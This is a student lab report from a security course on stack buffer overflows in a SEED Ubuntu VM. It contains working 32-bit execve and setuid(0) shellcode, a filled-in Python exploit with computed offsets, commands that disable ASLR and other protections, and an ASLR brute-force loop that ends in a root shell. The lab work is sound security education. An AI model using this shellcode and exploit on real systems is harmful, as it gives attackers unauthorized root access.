Group 17
Alexander Semaan
Mark Clancy
CY5130 - CSS

LAB 1

Buffer Overflow Attack

Lab and Environment preparation – Turning off countermeasures

There are some countermeasures put in place by the OS and by the compilers to improve security against attacks that abuse a rather simple stack architecture. To start, we will conduct this attack with these countermeasures toggled off and further on, we will add these countermeasures to see how these countermeasures make attacks harder to execute.

First off, we will disable address space randomization with the following command:

```
[09/29/19]seed@VM:~/Desktop$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[10/02/19]seed@VM:~/Desktop$
```

Second, we want to link /bin/sh to another shell than /bin/dash which implements a countermeasure that detects if a program is executed in a Set-UID process. So we will link /bin/sh to zsh, a shell that was installed on the Ubuntu 16.04 VM, with the following commands:

'sudo rm /bin/sh' -> removes the current /bin/sh

'sudo ln -s /bin/zsh /bin/sh' -> links bin/sh to /bin/zsh

Furthermore, for the next two countermeasures, these are implemented by the compiler GCC, when compiling our program. So, to turn them off we need to specify some options in the gcc command as follows:

- To disable StackGuard Protection scheme: add option "-fno-stack-protector" to the gcc command. For example: 'gcc -fno-stack-protector example.c
- To allow the use of executable stacks, which is now not allowed with newer versions of Ubuntu and gcc by default, we need to add option "-z execstack" to gcc command.

For example: 'gcc -z execstack -o example example.c'

Task 1 – Running Shellcode

In this part, we just want to get familiar with shellcode and see what happens when shellcode is invoked. So, we compile and execute the following code to get a shell:

Group 17
Alexander Semaan
Mark Clancy
CY5130 - CSS

```
/* call_shellcode.c  */
/* You can get this program from the lab's website */

/* A program that launches a shell using shellcode */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
  "\x31\xc0"         /* Line 1:  xorl    %eax,%eax             */
  "\x50"             /* Line 2:  pushl   %eax                  */
  "\x68""//sh"       /* Line 3:  pushl   $0x68732f2f           */
  "\x68""/bin"       /* Line 4:  pushl   $0x6e69622f           */
  "\x89\xe3"         /* Line 5:  movl    %esp,%ebx             */
  "\x50"             /* Line 6:  pushl   %eax                  */
  "\x53"             /* Line 7:  pushl   %ebx                  */
  "\x89\xe1"         /* Line 8:  movl    %esp,%ecx             */
  "\x99"             /* Line 9:  cdq                           */
  "\xb0\x0b"         /* Line 10: movb    $0x0b,%al             */
  "\xcd\x80"         /* Line 11: int     $0x80                 */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
}
```

The code above runs and returns a shell with root privilege, see commands below of compiling, executing and checking privileges:

```
[10/02/19]seed@VM:~/Desktop$  gcc -z execstack -o call_shellcode call_shellcode.
c
[10/02/19]seed@VM:~/Desktop$ ./call_shellcode
$ whoami
seed
```

Some remarks about the shellcode we used is the double '/' for '//sh', and that was used because '/sh' only has 24 bits and we need 32 bits for 32 bit machines, and fortunately '//' is equivalent to '/' so we have no problem there. Then, before calling the execv() system call, we need to store name[0] (the address of the string), name (the address of the array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx; Line 9 sets %edx to zero, using cdq: it copies the sign (bit 31) of the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically setting %edx to 0. Finally, the system call execve() is called when we set %al to 11, and execute "int $0x80".

Group 17
Alexander Semaan
Mark Clancy
CY5130 - CSS

Task 2 – Exploiting the Vulnerability

Part 1 – Preparing the vulnerable program

The vulnerable program given to us is the following:

```
/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);          ①

    return 1;
}


int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

First, we compile the above program and we don't forget to toggle off the countermeasures, using the following command:

'gcc -o stack -z execstack -fno-stack-protector stack.c'

Then we want to make the program a root-owned Set-UID program, and to do that we apply the following commands:

'sudo chown root stack' -> changes ownership of the program

'sudo chmod 4755 stack' -> changes permission to 4755 which enables the Set-UID bit.

Group 17
Alexander Semaan
Mark Clancy
CY5130 - CSS

Part 2 – Finding the return address and relevant information

In order to find the return address' location and to get the information needed to plan the attack, we will use gbp.

First, to debug the program we will need to apply the following command:

'gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c' -> create the program we will debug

Then, we create a file named 'badfile' for the program to run and we have it in the same directory:

'gedit badfile' -> put anything in there less than 24 characters for now and save the file.

Now, we use gdb the following way:

'gdb stack_dbg' -> this loads the program in gdb

```
[10/02/19]seed@VM:~/Desktop$ gdb stack_dbg
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack_dbg...done.
```

'b bof' -> we place a breakpoint at the function bof: this will allow us to get the value of the frame pointer before the program goes into the bof function.

```
gdb-peda$ b bof
Breakpoint 1 at 0x80484c1: file stack.c, line 14.
```

'run' -> runs the program and stops at bof().

Group 17
Alexander Semaan
Mark Clancy
CY5130 - CSS

```
gdb-peda$ run
Starting program: /home/seed/Desktop/stack_dbg
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

[----------------------------------registers-----------------------------------
----]
EAX: 0xbfffeb77 --> 0x34208
EBX: 0x0
ECX: 0x804fb20 --> 0x0
EDX: 0x0
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffeb58 --> 0xbfffed88 --> 0x0
ESP: 0xbfffeb30 --> 0xb7fe96eb (<_dl_fixup+11>: add    esi,0x15915)
EIP: 0x80484c1 (<bof+6>:        sub    esp,0x8)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overf
low)
[-------------------------------------code-------------------------------------
----]
   0x80484bb <bof>:     push   ebp
   0x80484bc <bof+1>:   mov    ebp,esp
   0x80484be <bof+3>:   sub    esp,0x28
=> 0x80484c1 <bof+6>:   sub    esp,0x8
   0x80484c4 <bof+9>:   push   DWORD PTR [ebp+0x8]
   0x80484c7 <bof+12>:  lea    eax,[ebp-0x20]
   0x80484ca <bof+15>:  push   eax
   0x80484cb <bof+16>:  call   0x8048370 <strcpy@plt>
```

```
[-------------------------------------stack-------------------------------------
----]
0000| 0xbfffeb30 --> 0xb7fe96eb (<_dl_fixup+11>:        add    esi,0x15915)
0004| 0xbfffeb34 --> 0x0
0008| 0xbfffeb38 --> 0xb7f1c000 --> 0x1b1db0
0012| 0xbfffeb3c --> 0xb7b62940 (0xb7b62940)
0016| 0xbfffeb40 --> 0xbfffed88 --> 0x0
0020| 0xbfffeb44 --> 0xb7feff10 (<_dl_runtime_resolve+16>:       pop    edx)
0024| 0xbfffeb48 --> 0xb7dc888b (<__GI__IO_fread+11>:   add    ebx,0x153775
)
0028| 0xbfffeb4c --> 0x0
[-------------------------------------------------------------------------------
----]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xbfffeb77 "\bB\003") at stack.c:14
14          strcpy(buffer, str);
```

'p $ebp' -> this will give us the value of the frame pointer.

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeb58
```

'p &buffer' -> this will give us the starting address of our variable 'buffer' that we will input our badfile into using the strcpy() function and overflow to reach the return address:

```
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffeb38
```

Now we want to see how many bytes are between the starting address of the buffer and where the return address is stored. We know that the return address is stored 4 bytes after the frame pointer. So, all that's left is to find how many bytes are between the frame pointer and the starting address of buffer. So we do:

'p/d 0xbfffeb58 – 0xbfffeb38'

'quit' -> to exit

```
gdb-peda$ p/d 0xbfffeb58 - 0xbfffeb38
$3 = 32
```

This means that there are 32 Bytes between the frame pointer and the starting address of buffer, which means that the return address is at 32+4=36 Bytes after the start of Buffer, and that the value we need to give the return address is supposed to be anything over 0xbfffeb58 + 8, because that will jump to where the NOPs are stored which we will talk about next in the exploit program.

Part 3 – Writing and modifying the exploit

We are given an exploit containing some shellcode already, and we need to modify the rest of the code to our needs. Here is the code for the python exploit given:

```
#!/usr/bin/python3

import sys

shellcode= (
    "\x31\xc0"             # xorl    %eax,%eax
    "\x50"                 # pushl   %eax
    "\x68""//sh"           # pushl   $0x68732f2f
    "\x68""/bin"           # pushl   $0x6e69622f
    "\x89\xe3"             # movl    %esp,%ebx
    "\x50"                 # pushl   %eax
    "\x53"                 # pushl   %ebx
    "\x89\xe1"             # movl    %esp,%ecx
    "\x99"                 # cdq
    "\xb0\x0b"             # movb    $0x0b,%al
    "\xcd\x80"             # int     $0x80
    "\x00"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Replace 0 with the correct offset value
D = 0
# Fill the return address field with the address of the shellcode
# Replace 0xFF with the correct value
content[D+0] = 0xFF    # fill in the 1st byte (least significant byte)
content[D+1] = 0xFF    # fill in the 2nd byte
content[D+2] = 0xFF    # fill in the 3rd byte
content[D+3] = 0xFF    # fill in the 4th byte (most significant byte)
##################################################################

# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode

# Write the content to badfile
file = open("badfile", "wb")
file.write(content)
file.close()
```

This code will fill the badfile with NOPs, put shellcode at the end of it and put the return address that we figured out earlier in the correct place (correct offset).

So, we want to modify this code by setting the offset value D to 36, which is where the return address field should be as calculated previously. And we want to fill that return address with anything over 0xbfffeb58 + 8 but not greater than 517 – 32 – shellcode length, so nothing greater than 400 let's say. It doesn't really matter because we filled the badfile with NOPs which just pushes the pointer to the next

address. We choose 0xbfffeb58 + 40 = 0xbfffeb80. Now we fill that in the order of least significant byte, meaning that '80' goes into 'content[D+0] and 'EB' goes into 'content[D+1]' etc… (see image below)

This gives us the following:

```
#!/usr/bin/python3

import sys

shellcode= (
    "\x31\xc0"             # xorl    %eax,%eax
    "\x50"                 # pushl   %eax
    "\x68""//sh"           # pushl   $0x68732f2f
    "\x68""/bin"           # pushl   $0x6e69622f
    "\x89\xe3"             # movl    %esp,%ebx
    "\x50"                 # pushl   %eax
    "\x53"                 # pushl   %ebx
    "\x89\xe1"             # movl    %esp,%ecx
    "\x99"                 # cdq
    "\xb0\x0b"             # movb    $0x0b,%al
    "\xcd\x80"             # int     $0x80
    "\x00"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Replace 0 with the correct offset value
D = 36
# Fill the return address field with the address of the shellcode
# Replace 0xFF with the correct value
content[D+0] = 0x80   # fill in the 1st byte (least significant byte)
content[D+1] = 0xEB   # fill in the 2nd byte
content[D+2] = 0xFF   # fill in the 3rd byte
content[D+3] = 0xBF   # fill in the 4th byte (most significant byte)
##################################################################

# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode

# Write the content to badfile
file = open("badfile", "wb")
file.write(content)
file.close()
```

Now we need to save the program, make it executable and delete the previously created badfile. Do:

'sudo chmod +x exploit.py' -> makes the python program executable

'rm badfile' -> deletes the previously created badfile.

Now run the exploit: ‘./exploit.py’ followed by ‘./stack’ and you should get a shell:

```
[10/02/19]seed@VM:~/Desktop$ sudo chmod +x exploit.py
[10/02/19]seed@VM:~/Desktop$ rm badfile
[10/02/19]seed@VM:~/Desktop$ ./exploit.py
[10/02/19]seed@VM:~/Desktop$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdro
m),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# whoami
root
#
```

Task 3 – Defeating dash’s countermeasure

Now we want to link /bin/sh back to dash and try to modify the shellcode in our exploit to overcome the countermeasure. To do that, we want to change the real user ID of the victim process to zero before invoking the dash program. We can achieve this by invoking setuid(0) before executing execve() in the shellcode. First, let’s link /bin/sh back to /bin/dash, by doing:

‘sudo ln -sf /bin/dash /bin/sh’

Now let us test how the dash countermeasure works by using the following program:

```
// dash_shell_test.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
     char *argv[2];
     argv[0] = "/bin/sh";
     argv[1] = NULL;

     // setuid(0);
     execve("/bin/sh", argv, NULL);

     return 0;
}
```

Compile and setup the following program using the following commands as done previously:

‘gcc dash_shell_test.c -o dash_shell_test’ -> compile program

‘sudo chown root dash_shell_test’ -> changes ownership of the program

Group 17
Alexander Semaan
Mark Clancy
CY5130 - CSS

'sudo chmod 4755 dash_shell_test' -> changes permission to 4755 which enables the Set-UID bit.

Notice that the setuid(0) line is commented, so when we run the program we will get a shell but not a root shell, which is expected as the dash countermeasure is up.

```
[10/02/19]seed@VM:~/Desktop$ ./dash_shell_test
$ whoami
seed
$ exit
```

This time uncomment the line and run the program and get a root shell:

```
[10/02/19]seed@VM:~/Desktop$ ./dash_shell_test
# whoami
root
```

This shows how to get past the dash countermeasure, so now we want to add the assembly code of setuid(0) to our shellcode, placing it before execve(). For convenience we will place it at the top of the shellcode as follows:

```
shellcode= (
###### calling the setuid(0) ########

    "\x31\xc0" # Line 1: xorl %eax,%eax
    "\x31\xdb" # Line 2: xorl %ebx,%ebx
    "\xb0\xd5" # Line 3: movb $0xd5,%al
    "\xcd\x80" # Line 4: int $0x80

###### the rest of the shellcode as previously used ######

    "\x31\xc0"              # xorl    %eax,%eax
    "\x50"                  # pushl   %eax
    "\x68""//sh"            # pushl   $0x68732f2f
    "\x68""/bin"            # pushl   $0x6e69622f
    "\x89\xe3"              # movl    %esp,%ebx
    "\x50"                  # pushl   %eax
    "\x53"                  # pushl   %ebx
    "\x89\xe1"              # movl    %esp,%ecx
    "\x99"                  # cdq
    "\xb0\x0b"              # movb    $0x0b,%al
    "\xcd\x80"              # int     $0x80
    "\x00"
).encode('latin-1')
```

The updated shellcode adds 4 instructions: (1) set ebx to zero in Line 2, (2) set eax to 0xd5 via Line 1 and 3 (0xd5 is setuid()'s system call number), and (3) execute the system call in Line 4. Using this shellcode, we can attempt the attack on the vulnerable program when /bin/sh is linked to /bin/dash, and succeed.

Let's try this again to successfully get a root shell with dash countermeasure on:

'rm badfile' -> delete old badfile

'./exploit.py' -> create new badfile with updated shellcode

'./stack' -> run vuln program

```
[10/02/19]seed@VM:~/Desktop$ rm badfile
[10/02/19]seed@VM:~/Desktop$ ./exploit.py
[10/02/19]seed@VM:~/Desktop$ ./stack
# whoami
root
#
```

Task 4 - Defeating address layout randomization

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have 2 19 = 524, 288 possibilities. This is not a very high number and can be brute-forced rather easily. Let's turn on address randomization back on by doing the following:

'sudo /sbin/sysctl -w kernel.randomize_va_space=2'

The bash script that we will run in hopes of brute-forcing is the following:

```
#!/bin/bash

SECONDS=0
value=0

while [ 1 ]
  do
  value=$(( $value + 1 ))
  duration=$SECONDS
  min=$(($duration / 60))
  sec=$(($duration % 60))
  echo "$min minutes and $sec seconds elapsed."
  echo "The program has been running $value times so far."
  ./stack
done
```

Save this script as 'brute.sh' and make it executable with the following command:

'sudo chmod +x brute.sh'

Then execute it and wait as it might take some time: './brute.sh'. In my case it only took 1 minute and 15 seconds and it gave me back a root shell:

```
The program has been running 62507 times so far.
./brute.sh: line 13:  4271 Segmentation fault      ./stack
1 minutes and 15 seconds elapsed.
The program has been running 62508 times so far.
# whoami
root
#
```

It is crazy to see how easily and how quickly address layout randomization can be defeated on 32 bit systems, however on 64 bits systems it might be more difficult and take longer, but it should still be doable.

Task 5 - StackGuard Protection

As previously mentioned, while compiling the vulnerable program, we had to disable StackGuard protection in order to successfully exploit the vulnerability in the program. However, now we will recompile the program without disabling the StackGuard. We are not expected to defeat this countermeasure. Recompile the program as follows:

'gcc -o stack.c -z execstack stack.c'

'./stack'

We get the following error:

```
[10/02/19]seed@VM:~/Desktop$ gcc -o stack -z execstack stack.c
[10/02/19]seed@VM:~/Desktop$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

The compiler detected that something is trying to abuse a buffer overflow in the stack and immediately terminated the program and aborted the tasks.

Task 6 - Non-executable stack protection

Again, previously while compiling the vulnerable program, we made sure to toggle off non-executable stack protection by using the option '-z execstack' for the gcc command. Now, we will recompile our vulnerable program with this protection, but without StackGuard protection as follows:

‘ gcc -o stack -fno-stack-protector -z noexecstack stack.c’

‘./stack’

```
[10/02/19]seed@VM:~/Desktop$  gcc -o stack -fno-stack-protector -z noexecst
ack stack.c
[10/02/19]seed@VM:~/Desktop$ ./stack
Segmentation fault
```

We should not be able to gain a root shell because non-executable stack protection does not allow shellcode to run in the stack. However, an attacker can still exploit this program by doing something other than opening a shell like returning to libc. Return-to-libc is a known attack method that overcomes non-executable stack protection.